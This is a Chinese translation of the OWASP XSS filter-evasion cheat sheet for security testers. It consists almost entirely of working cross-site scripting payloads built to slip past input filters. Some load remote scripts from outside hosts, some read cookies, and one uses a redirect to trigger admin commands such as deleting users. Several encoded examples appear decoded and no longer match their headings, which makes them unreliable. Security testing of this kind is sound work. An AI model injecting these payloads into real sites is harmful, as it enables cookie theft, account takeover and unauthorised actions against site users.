XSS 过滤器规避备忘单¶
简介¶
本文是为应用程序安全专业人员提供的跨站脚本 (XSS) 测试指南。本备忘单最初基于 RSnake 之前在 http://ha.ckers.org/xss.html
发布的开创性 XSS 备忘单。现在,OWASP 备忘单系列为用户提供了该文档的更新和维护版本。OWASP 的第一份备忘单 跨站脚本预防 受 RSnake 工作的启发,我们感谢 RSnake 给予的灵感!
测试¶
本备忘单通过向测试人员提供一系列可以绕过某些 XSS 防御过滤器的 XSS 攻击,来证明输入过滤对于 XSS 而言是一种不完整的防御。
不规避过滤器的基本 XSS 测试¶
这种攻击使用常规的 XSS JavaScript 注入,作为本备忘单的基准(现代浏览器中不需要引号,因此此处省略)
<SCRIPT SRC=https://cdn.jsdelivr.net.cn/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>
XSS 定位器 (多语种)¶
此测试提供一个“多语种测试 XSS 有效负载”,它可在多种上下文中执行,包括 HTML、脚本字符串、JavaScript 和 URL
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
(基于 Gareth Heyes 的这条推文)。
畸形的 A 标签¶
此测试跳过 href
属性,以演示使用事件处理程序的 XSS 攻击
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
Chrome 会自动为您插入缺失的引号。如果您遇到问题,请尝试省略它们,Chrome 会在 URL 或脚本中为您正确放置缺失的引号
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
(由 David Cross 提交,在 Chrome 上验证)
畸形的 IMG 标签¶
此 XSS 方法利用宽松的渲染引擎在 IMG 标签(需要用引号封装)中创建 XSS 向量。我们认为这种方法最初是为了纠正草率的编码,它也会使正确解析 HTML 标签变得更加困难
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
(最初由 Begeek 发现,但经过清理和缩短,可在所有浏览器中运行)
fromCharCode¶
如果系统不允许任何类型的引号,您可以在 JavaScript 中 eval()
一个 fromCharCode
来创建您需要的任何 XSS 向量
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>
默认 SRC 标签绕过检查 SRC 域名的过滤器¶
此攻击将绕过大多数 SRC 域名过滤器。在事件处理程序中插入 JavaScript 也适用于任何使用 Form、Iframe、Input、Embed 等元素进行 HTML 标签类型注入的情况。这还允许替换标签类型的任何相关事件,例如 onblur
或 onclick
,从而提供此处列出的注入的广泛变体
<IMG SRC=# onmouseover="alert('xxs')">
(由 David Cross 提交,Abdullah Hussam 编辑)
默认 SRC 标签(留空)¶
<IMG SRC= onmouseover="alert('xxs')">
默认 SRC 标签(完全省略)¶
<IMG onmouseover="alert('xxs')">
OnError 警告¶
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror 和 JavaScript 警告编码¶
<img src=x onerror="javascript:alert('XSS')">
十进制 HTML 字符引用¶
由于在 <IMG
标签内使用 javascript:
指令的 XSS 示例在 Firefox 上不起作用,因此此方法使用十进制 HTML 字符引用作为变通方法
<a href="javascript:alert('XSS')">Click Me!</a>
没有尾随分号的十进制 HTML 字符引用¶
这通常能有效绕过查找字符串 &\#XX;
的 XSS 过滤器,因为大多数人不知道填充——总共可以使用多达 7 个数字字符。这对于解码字符串(如 $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;
)的过滤器也很有用,该过滤器错误地认为需要分号来终止 HTML 编码字符串(这在实际中出现过)
<a href="javascript:alert('XSS')">Click Me</a>
没有尾随分号的十六进制 HTML 字符引用¶
这种攻击对字符串 $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;
的过滤器也有效,因为它假设磅号后面跟着一个数字字符——这对于十六进制 HTML 字符来说是不正确的
<a href="javascript:alert('XSS')">Click Me</a>
嵌入式 Tab 字符¶
这种方法可以分隔 XSS 攻击
<a href="jav ascript:alert('XSS');">Click Me</a>
嵌入式编码 Tab 字符¶
这种方法也可以分隔 XSS
<a href="jav	ascript:alert('XSS');">Click Me</a>
嵌入式换行符以分隔 XSS¶
虽然有些防御者声称任何 09-13(十进制)的字符都适用于此攻击,但这是不正确的。只有 09(水平制表符)、10(换行符)和 13(回车符)有效。请参阅 ASCII 表 以供参考。接下来的四个 XSS 攻击示例说明了此向量
<a href="jav
ascript:alert('XSS');">Click Me</a>
示例 1:使用嵌入式回车符分隔 XSS 攻击¶
(注意:上面的字符串我做得比实际需要的长,因为零可以省略。我经常看到一些过滤器假定十六进制和十进制编码必须是两个或三个字符。实际规则是 1-7 个字符。)
<a href="jav
ascript:alert('XSS');">Click Me</a>
示例 2:使用空字符分隔 JavaScript 指令¶
空字符也可以作为 XSS 向量,但方式与上述不同,您需要使用 Burp Proxy 等工具直接注入它们,或者在 URL 字符串中使用 %00
,如果您想编写自己的注入工具,可以使用 vim (^V^@
将生成一个空字符) 或以下程序将其生成到文本文件中。空字符 %00
更为有用,并帮助我绕过了某些真实世界的过滤器,采用了此示例的变体
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
示例 3:图像中 JavaScript 前的空格和元字符用于 XSS¶
如果过滤器的模式匹配没有考虑 javascript:
单词中的空格,这很有用,因为那样不会渲染,但错误地假设您不能在引号和 javascript:
关键字之间有空格。实际情况是您可以有任何十进制字符从 1-32
<a href="  javascript:alert('XSS');">Click Me</a>
示例 4:非字母非数字 XSS¶
Firefox HTML 解析器假定 HTML 关键字后出现非字母非数字字符是无效的,因此将其视为 HTML 标签后的空白或无效标记。问题在于,某些 XSS 过滤器假定它们要查找的标签被空白分隔。例如 \<SCRIPT\\s
!= \<SCRIPT/XSS\\s
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
基于与上述相同的思想,但在此基础上进行了扩展,使用了 Rsnake 的模糊器。Gecko 渲染引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)之外的任何字符,从而更容易绕过跨站脚本阻止。请注意,这也适用于此处所示的反引号字符
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 指出,Trident (IE) 和 Gecko (Firefox) 渲染引擎之间存在细微的行为差异,允许在标签和参数之间只用一个斜杠,没有空格。如果系统不允许空格,这在攻击中可能很有用
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
多余的开括号¶
这种 XSS 向量可以击败某些检测引擎,这些引擎通过检查开放和关闭尖括号的匹配对然后比较内部标签来工作,而不是像 Boyer-Moore 这样更高效的算法,该算法查找开放尖括号和相关标签的整个字符串匹配(当然,在解混淆之后)。双斜杠注释掉了末尾多余的括号,以抑制 JavaScript 错误
<<SCRIPT>alert("XSS");//\<</SCRIPT>
(由 Franz Sedlmaier 提交)
无结束 Script 标签¶
在 Firefox 中,您实际上不需要此 XSS 向量的 \></SCRIPT>
部分,因为 Firefox 假定关闭 HTML 标签是安全的,并为您添加闭合标签。与不影响 Firefox 的下一个攻击不同,此方法不需要在其下方有任何额外的 HTML。如果需要,您可以添加引号,但通常不需要
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
Script 标签中的协议解析¶
这个特殊的变体部分基于 Ozh 下面的协议解析绕过,它在 IE 和 Edge 的兼容模式下有效。然而,这在空间受限的情况下特别有用,当然,您的域名越短越好。.j
是有效的,无论编码类型如何,因为浏览器在 SCRIPT 标签的上下文中知道它
<SCRIPT SRC=//xss.rocks/.j>
(由 Łukasz Pilorz 提交)
半开放 HTML/JavaScript XSS 向量¶
与 Firefox 不同,IE 渲染引擎 (Trident) 不会在您的页面中添加额外数据,但它允许在图像中使用 javascript:
指令。这作为一个向量很有用,因为它不需要关闭尖括号。这假设您注入此 XSS 向量的下方有任何 HTML 标签。即使没有关闭 \>
标签,其下方的标签也会关闭它。注意:这确实会弄乱 HTML,具体取决于其下方的 HTML。它绕过了以下网络入侵检测系统 (NIDS) 正则表达式:/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/
,因为它不需要结束 \>
。附带说明,这对于使用开放式 <IFRAME
标签而不是 <IMG
标签的真实世界 XSS 过滤器也有效。
<IMG SRC="`<javascript:alert>`('XSS')"
转义 JavaScript 转义字符¶
如果应用程序被编写为在 JavaScript 中输出一些用户信息(例如:<SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>
),并且您想注入自己的 JavaScript,但服务器端应用程序转义了某些引号,您可以通过转义它们的转义字符来规避。当它被注入时,它将读取 <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
,这将导致双引号取消转义并触发 XSS 向量。XSS 定位器使用此方法
\";alert('XSS');//
如果已对嵌入数据应用了正确的 JSON 或 JavaScript 转义,但未进行 HTML 编码,则另一种方法是结束脚本块并开始自己的脚本块
</script><script>alert('XSS');</script>
结束 Title 标签¶
这是一个简单的 XSS 向量,它关闭 <TITLE>
标签,可以封装恶意跨站脚本攻击
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT 图像¶
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY 图像¶
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc¶
<IMG DYNSRC="javascript:alert('XSS')">
IMG Lowsrc¶
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image¶
这种晦涩的攻击侧重于在项目符号列表中嵌入图像。它只在 IE 渲染引擎中有效,因为 JavaScript 指令的原因。不是特别有用的 XSS 向量
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
图像中的 VBscript¶
<IMG SRC='vbscript:msgbox("XSS")'>
SVG Object 标签¶
<svg/onload=alert('XSS')>
ECMAScript 6¶
Set.constructor`alert\x28document.domain\x29
BODY 标签¶
这种攻击不需要使用 javascript:
或 <SCRIPT...
的任何变体来完成 XSS 攻击。Dan Crowley 指出,您可以在等号前放置一个空格 (onload=
!= onload =
)
<BODY ONLOAD=alert('XSS')>
使用事件处理程序的攻击¶
带有 BODY 标签的攻击可以修改用于类似上述的 XSS 攻击(在撰写本文时,这是网上最全面的列表)。感谢 Rene Ledosquet 提供 HTML+TIME 更新。
Dottoro Web 参考 也有一个不错的 JavaScript 事件列表。
onAbort()
(当用户中止图像加载时)onActivate()
(当对象被设置为活动元素时)onAfterPrint()
(用户打印或预览打印作业后激活)onAfterUpdate()
(在更新源对象中的数据后,在数据对象上激活)onBeforeActivate()
(在对象被设置为活动元素之前触发)onBeforeCopy()
(在选择复制到剪贴板之前,攻击者执行攻击字符串 - 攻击者可以使用execCommand("Copy")
函数执行此操作)onBeforeCut()
(在选择被剪切之前,攻击者执行攻击字符串)onBeforeDeactivate()
(在活动元素从当前对象更改后立即触发)onBeforeEditFocus()
(在可编辑元素中包含的对象进入 UI 激活状态之前,或当可编辑容器对象被控制选择时触发)onBeforePaste()
(用户需要被诱骗粘贴或使用execCommand("Paste")
函数强制粘贴)onBeforePrint()
(用户需要被诱骗打印,或者攻击者可以使用print()
或execCommand("Print")
函数)。onBeforeUnload()
(用户需要被诱骗关闭浏览器 - 攻击者无法卸载窗口,除非它是由父级生成的)onBeforeUpdate()
(在更新源对象中的数据之前,在数据对象上激活)onBegin()
(当元素的时间线开始时,onbegin 事件立即触发)onBlur()
(在加载另一个弹出窗口且窗口失去焦点的情况下)onBounce()
(当 marquee 对象的 behavior 属性设置为“alternate”且 marquee 的内容到达窗口的一侧时触发)onCellChange()
(当数据提供者中的数据更改时触发)onChange()
(选择、文本或 TEXTAREA 字段失去焦点且其值已修改)onClick()
(有人点击表单)onContextMenu()
(用户需要在攻击区域右键点击)onControlSelect()
(当用户即将对对象进行控制选择时触发)onCopy()
(用户需要复制内容,或者可以使用execCommand("Copy")
命令进行利用)onCut()
(用户需要剪切内容,或者可以使用execCommand("Cut")
命令进行利用)onDataAvailable()
(用户需要更改元素中的数据,或者攻击者可以执行相同的功能)onDataSetChanged()
(当数据源对象公开的数据集更改时触发)onDataSetComplete()
(触发表示所有数据都已从数据源对象中可用)onDblClick()
(用户双击表单元素或链接)onDeactivate()
(当 activeElement 从当前对象更改为父文档中的另一个对象时触发)onDrag()
(要求用户拖动对象)onDragEnd()
(要求用户拖动对象)onDragLeave()
(要求用户将对象拖离有效位置)onDragEnter()
(要求用户将对象拖入有效位置)onDragOver()
(要求用户将对象拖入有效位置)onDragDrop()
(用户将对象(例如文件)拖放到浏览器窗口上)onDragStart()
(用户开始拖动操作时发生)onDrop()
(用户将对象(例如文件)拖放到浏览器窗口上)onEnd()
(当时间线结束时,onEnd 事件触发。)onError()
(加载文档或图像导致错误)onErrorUpdate()
(当更新数据源对象中相关数据时发生错误时,在数据绑定对象上触发)onFilterChange()
(当视觉过滤器完成状态更改时触发)onFinish()
(当跑马灯循环结束时,攻击者可以创建漏洞)onFocus()
(当窗口获得焦点时,攻击者执行攻击字符串)onFocusIn()
(当窗口获得焦点时,攻击者执行攻击字符串)onFocusOut()
(当窗口失去焦点时,攻击者执行攻击字符串)onHashChange()
(当文档当前地址的片段标识符部分更改时触发)onHelp()
(当窗口获得焦点时,用户按下 F1 键时,攻击者执行攻击字符串)onInput()
(元素中的文本内容通过用户界面更改)onKeyDown()
(用户按下键)onKeyPress()
(用户按下或按住键)onKeyUp()
(用户释放键)onLayoutComplete()
(用户需要打印或打印预览)onLoad()
(窗口加载后,攻击者执行攻击字符串)onLoseCapture()
(可由releaseCapture()
方法利用)onMediaComplete()
(当使用流媒体文件时,此事件可能在文件开始播放之前触发)onMediaError()
(用户在浏览器中打开包含媒体文件的页面,当出现问题时事件触发)onMessage()
(文档收到消息时触发)onMouseDown()
(攻击者需要让用户点击图像)onMouseEnter()
(光标移到对象或区域上)onMouseLeave()
(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次移开)onMouseMove()
(攻击者需要让用户将鼠标悬停在图像或表格上)onMouseOut()
(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次移开)onMouseOver()
(光标移到对象或区域上)onMouseUp()
(攻击者需要让用户点击图像)onMouseWheel()
(攻击者需要让用户使用鼠标滚轮)onMove()
(用户或攻击者将移动页面)onMoveEnd()
(用户或攻击者将移动页面)onMoveStart()
(用户或攻击者将移动页面)onOffline()
(如果浏览器处于在线模式并开始脱机工作时发生)onOnline()
(如果浏览器处于脱机模式并开始联机工作时发生)onOutOfSync()
(中断元素按照时间线播放其媒体的能力)onPaste()
(用户需要粘贴,或者攻击者可以使用execCommand("Paste")
函数)onPause()
(当时间线暂停时,onpause 事件会在每个活动元素上触发,包括 body 元素)onPopState()
(当用户浏览会话历史记录时触发)onPropertyChange()
(用户或攻击者需要更改元素属性)onReadyStateChange()
(用户或攻击者需要更改元素属性)onRedo()
(用户在撤销事务历史记录中向前)onRepeat()
(此事件在时间线每次重复时触发一次,不包括第一个完整周期)onReset()
(用户或攻击者重置表单)onResize()
(用户将调整窗口大小;攻击者可以通过类似以下代码自动初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeEnd()
(用户将调整窗口大小;攻击者可以通过类似以下代码自动初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeStart()
(用户将调整窗口大小;攻击者可以通过类似以下代码自动初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResume()
(当时间线恢复时,onresume 事件会在每个活动元素上触发,包括 body 元素)onReverse()
(如果元素的 repeatCount 大于 1,此事件在时间线每次开始向后播放时触发)onRowsEnter()
(用户或攻击者需要更改数据源中的行)onRowExit()
(用户或攻击者需要更改数据源中的行)onRowDelete()
(用户或攻击者需要删除数据源中的行)onRowInserted()
(用户或攻击者需要插入数据源中的行)onScroll()
(用户需要滚动,或者攻击者可以使用scrollBy()
函数)onSeek()
(当时间线设置为以任何方向播放而不是向前播放时,onReverse
事件触发)onSelect()
(用户需要选择一些文本 - 攻击者可以通过类似以下代码自动初始化:window.document.execCommand("SelectAll");
)onSelectionChange()
(用户需要选择一些文本 - 攻击者可以通过类似以下代码自动初始化:window.document.execCommand("SelectAll");
)onSelectStart()
(用户需要选择一些文本 - 攻击者可以通过类似以下代码自动初始化:window.document.execCommand("SelectAll");
)onStart()
(在每个跑马灯循环开始时触发)onStop()
(用户需要按下停止按钮或离开网页)onStorage()
(存储区域已更改)onSyncRestored()
(用户中断元素按照时间线播放其媒体的能力以触发)onSubmit()
(要求攻击者或用户提交表单)onTimeError()
(用户或攻击者将时间属性(如 dur)设置为无效值)onTrackChange()
(用户或攻击者更改播放列表中的轨道)onUndo()
(用户在撤销事务历史记录中向后)onUnload()
(当用户点击任何链接或按下返回按钮,或者攻击者强制点击时)onURLFlip()
(当一个高级流媒体格式 (ASF) 文件,由 HTML+TIME (Timed Interactive Multimedia Extensions) 媒体标签播放时,处理嵌入在 ASF 文件中的脚本命令时,此事件触发)seekSegmentTime()
(这是一个方法,用于定位元素片段时间线上指定点并从该点开始播放。片段包含时间线的一次重复,包括使用 AUTOREVERSE 属性的反向播放。)
BGSOUND¶
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript 包含¶
<BR SIZE="&{alert('XSS')}">
STYLE 样式表¶
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
远程样式表¶
使用像远程样式表这样简单的东西,您可以将 XSS 包含进来,因为样式参数可以使用嵌入式表达式重新定义。这只在 IE 中有效。请注意,页面上没有任何内容表明包含 JavaScript。注意:所有这些远程样式表示例都使用 body 标签,因此除非页面上除向量本身之外还有一些内容,否则它们将不起作用,因此如果页面为空白,您需要向页面添加一个字母才能使其工作
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
远程样式表第 2 部分¶
这与上面相同,但使用 <STYLE>
标签而不是 <LINK>
标签。这种向量的一个微小变体曾被用来攻击 Google Desktop。顺便说一句,如果向量后面紧跟着 HTML 可以闭合它,则可以删除末尾的 </STYLE>
标签。如果您在跨站脚本攻击中不能包含等号或斜杠,这很有用,这种情况在现实世界中至少出现过一次
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
远程样式表第 3 部分¶
这只在 Gecko 渲染引擎中有效,并通过将 XUL 文件绑定到父页面来实现。
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
用于分隔 JavaScript 的 STYLE 标签(用于 XSS)¶
这个 XSS 有时会让 IE 进入无限警告循环
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
分隔表达式的 STYLE 属性¶
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
(由 Roman Ivanov 创建)
带有表达式的 IMG STYLE¶
这实际上是最后两个 XSS 向量的混合,但它确实展示了 STYLE 标签解析起来有多困难。这可能会使 IE 进入一个循环
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
使用 Background-image 的 STYLE 标签¶
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
使用 Background 的 STYLE 标签¶
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
带有 STYLE 属性的匿名 HTML¶
IE 渲染引擎并不真正关心您构建的 HTML 标签是否存在,只要它以开尖括号和一个字母开头
<XSS STYLE="xss:expression(alert('XSS'))">
本地 htc 文件¶
这与前两个 XSS 向量略有不同,因为它使用了一个 .htc 文件,该文件必须与 XSS 向量位于同一服务器上。此示例文件通过引入 JavaScript 并将其作为样式属性的一部分运行来工作
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII 编码¶
此攻击使用畸形的 ASCII 编码,其中使用 7 位而不是 8 位。此 XSS 方法可能绕过许多内容过滤器,但仅当主机以 US-ASCII 编码传输或您自己设置编码时才有效。这对于 Web 应用程序防火墙 (WAF) XSS 规避比服务器端过滤器规避更有用。Apache Tomcat 是唯一已知默认仍以 US-ASCII 编码传输的服务器。
¼script¾alert(¢XSS¢)¼/script¾
META¶
关于 meta refresh 的奇怪之处在于它不会在头部发送 referrer - 因此它可以用于某些类型的攻击,您需要摆脱引用 URL
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
使用数据的 META¶
指令 URL 方案。这种攻击方法很好,因为它也没有任何可见的、包含 SCRIPT 或 JavaScript 指令的词,因为它利用了 base64 编码。更多详情请参阅 RFC 2397。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
带有附加 URL 参数的 META¶
如果目标网站尝试检查 URL 开头是否包含 <http://>
,您可以使用以下技术规避此过滤规则
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
(由 Moritz Naumann 提交)
IFRAME¶
如果允许 iFrame,也会存在许多其他 XSS 问题
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
基于事件的 IFRAME¶
IFrames 和大多数其他元素都可以使用类似以下的基于事件的混乱
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
(提交者:David Cross)
FRAME¶
帧与 iFrame 存在相同类型的 XSS 问题
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE¶
<TABLE BACKGROUND="javascript:alert('XSS')">
TD¶
与上述类似,TD 也容易受到包含 JavaScript XSS 向量的 BACKGROUND 攻击
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV¶
DIV 背景图像¶
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
带有 Unicode XSS 漏洞的 DIV 背景图像¶
这已经稍微修改以混淆 URL 参数
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
(最初的漏洞由 Renaud Lifchitz 发现,是 Hotmail 的一个漏洞)
DIV 背景图像加额外字符¶
RSnake 构建了一个快速 XSS 模糊测试工具,用于检测在 IE 中开括号后但在 JavaScript 指令之前允许的任何错误字符。这些是十进制的,但您当然可以包含十六进制并添加填充。(可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV 表达式¶
通过在冒号和 expression
之间使用换行符,此攻击的一个变体对真实的 XSS 过滤器有效
<DIV STYLE="width: expression(alert('XSS'));">
降级隐藏块¶
仅适用于 IE 渲染引擎 - Trident。一些网站认为注释块中的任何内容都是安全的,因此无需删除,这使得我们的 XSS 向量得以存在。或者系统可能会尝试在某些内容周围添加注释标签,徒劳地试图使其无害。正如我们所见,这可能不会奏效
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE 标签¶
(在 IE 安全模式下有效)此攻击需要 //
来注释掉接下来的字符,这样您就不会收到 JavaScript 错误,并且您的 XSS 标签将渲染。此外,这依赖于许多网站使用动态放置的图像(如 images/image.jpg
)而不是完整路径的事实。如果路径包含前导斜杠,如 /images/image.jpg
,您可以从此向量中删除一个斜杠(只要有两个斜杠开始注释,这将起作用)
<BASE HREF="javascript:alert('XSS');//">
OBJECT 标签¶
如果系统允许对象,您还可以使用 APPLET 标签注入病毒负载,从而感染用户等。链接的文件实际上是一个可以包含您的 XSS 的 HTML 文件
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
嵌入包含 XSS 向量的 SVG¶
此攻击仅在 Firefox 中有效
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
(感谢 nEUrOO 提供此内容)
带有 CDATA 混淆的 XML 数据岛¶
此 XSS 攻击仅在 IE 中有效
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
通过 XML 数据岛生成的包含嵌入式 JavaScript 的本地托管 XML¶
此攻击与上述攻击几乎相同,但它引用了本地托管(在同一服务器上)的 XML 文件,该文件将保存您的 XSS 向量。您可以在此处查看结果
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
XML 中的 HTML+TIME¶
此攻击仅在 IE 中有效,请记住您需要在 HTML 和 BODY 标签之间才能使其工作
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
(Grey Magic 就是这样攻破 Hotmail 和 Yahoo! 的)
假设只能输入几个字符并且它过滤 .js
¶
此攻击允许您将 JavaScript 文件重命名为图像作为 XSS 向量
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
SSI(服务器端包含)¶
这需要服务器上安装 SSI 才能使用此 XSS 向量。我可能不需要提这一点,但是如果您可以在服务器上运行命令,那么无疑会存在更严重的问题
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
PHP¶
此攻击需要服务器上安装 PHP。同样,如果您可以像这样远程运行任何脚本,可能存在更严重的问题
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG 嵌入命令¶
此攻击仅在网页(如论坛)受到密码保护且该密码保护与同一域名下的其他命令协同工作时才有效。这可用于删除用户、添加用户(如果访问页面的用户是管理员)、将凭据发送到其他地方等。这是较少使用但更实用的 XSS 向量之一
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG 嵌入命令第 II 部分¶
这更令人担忧,因为除了它不是托管在您自己的域名上之外,没有任何标识符使其看起来可疑。该向量使用 302 或 304(其他也有效)将图像重定向回命令。因此,一个正常的 <IMG SRC="httx://badguy.com/a.jpg">
实际上可能是一个攻击向量,用于以查看图像链接的用户身份运行命令。以下是实现该向量的 .htaccess
(在 Apache 下)行
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
(感谢 Timo 的部分贡献)
Cookie 操纵¶
这种方法相当晦涩,但有一些例子允许使用 <META
来覆盖 cookie。还有其他网站的例子,它们不是从数据库中获取用户名,而是将其存储在 cookie 中,只显示给访问页面的用户。结合这两种情况,您可以修改受害者的 cookie,然后将其作为 JavaScript 显示给他们(您也可以使用此方法让人们注销或更改他们的用户状态,让他们以您的身份登录等)
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
使用 HTML 引用封装的 XSS¶
此攻击最初在 IE 中测试过,因此您的结果可能会有所不同。对于允许 <SCRIPT>
但不允许通过正则表达式过滤器 /\<script\[^\>\]+src/i
过滤的 <SCRIPT SRC...
的站点执行 XSS,请执行以下操作
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
如果您正在对允许 <SCRIPT>
但由于正则表达式过滤器 /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
而不允许 \<script src...
的站点执行 XSS(这很重要,因为此正则表达式已在实际中出现过)
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
另一个规避相同过滤器的 XSS:/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
另一个规避相同过滤器的 XSS:/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
一般来说,我们不讨论缓解技术,但阻止此 XSS 示例的唯一方法是,如果您仍想允许 <SCRIPT>
标签但不允许远程脚本,则使用状态机(当然,如果它们允许 <SCRIPT>
标签,还有其他方法可以绕过此限制),请使用此方法
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
最后一个 XSS 攻击可以规避 /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
,使用反引号(同样,在 Firefox 中不起作用)
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
这是一个 XSS 示例,如果正则表达式不会捕获匹配的引号对,而是会找到任何引号以不正确地终止参数字符串,则此示例将起作用
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
这个 XSS 仍然让我担心,因为它几乎不可能阻止,除非阻止所有活动内容
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
URL 字符串规避¶
如果 http://www.google.com/
被程序性地禁止,则以下攻击有效
IP 与主机名¶
<A HREF="http://66.102.7.147/">XSS</A>
URL 编码¶
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
DWORD 编码¶
注意:DWORD 编码还有其他变体 - 更多详情请参见下面的 IP 混淆计算器
<A HREF="http://1113982867/">XSS</A>
十六进制编码¶
